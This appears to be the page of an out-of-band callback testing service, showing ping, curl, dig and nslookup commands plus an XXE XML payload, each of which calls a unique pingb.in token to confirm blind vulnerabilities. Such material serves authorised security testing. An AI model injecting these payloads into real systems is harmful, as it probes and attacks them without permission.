$ ping -c1 -p 00cbcf27049209b1c4320b2dd814b700 pingb.in
 
$ curl pingb.in/p/cbcf27049209b1c4320b2dd814b7
 
$ dig cbcf27049209b1c4320b2dd814b7 @pingb.in
 
$ dig cbcf27049209b1c4320b2dd814b7.ns.pingb.in
 
C:\> nslookup cbcf27049209b1c4320b2dd814b7 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/cbcf27049209b1c4320b2dd814b7">]>
    <foo>&xxe;</foo>
 
Waiting for ping...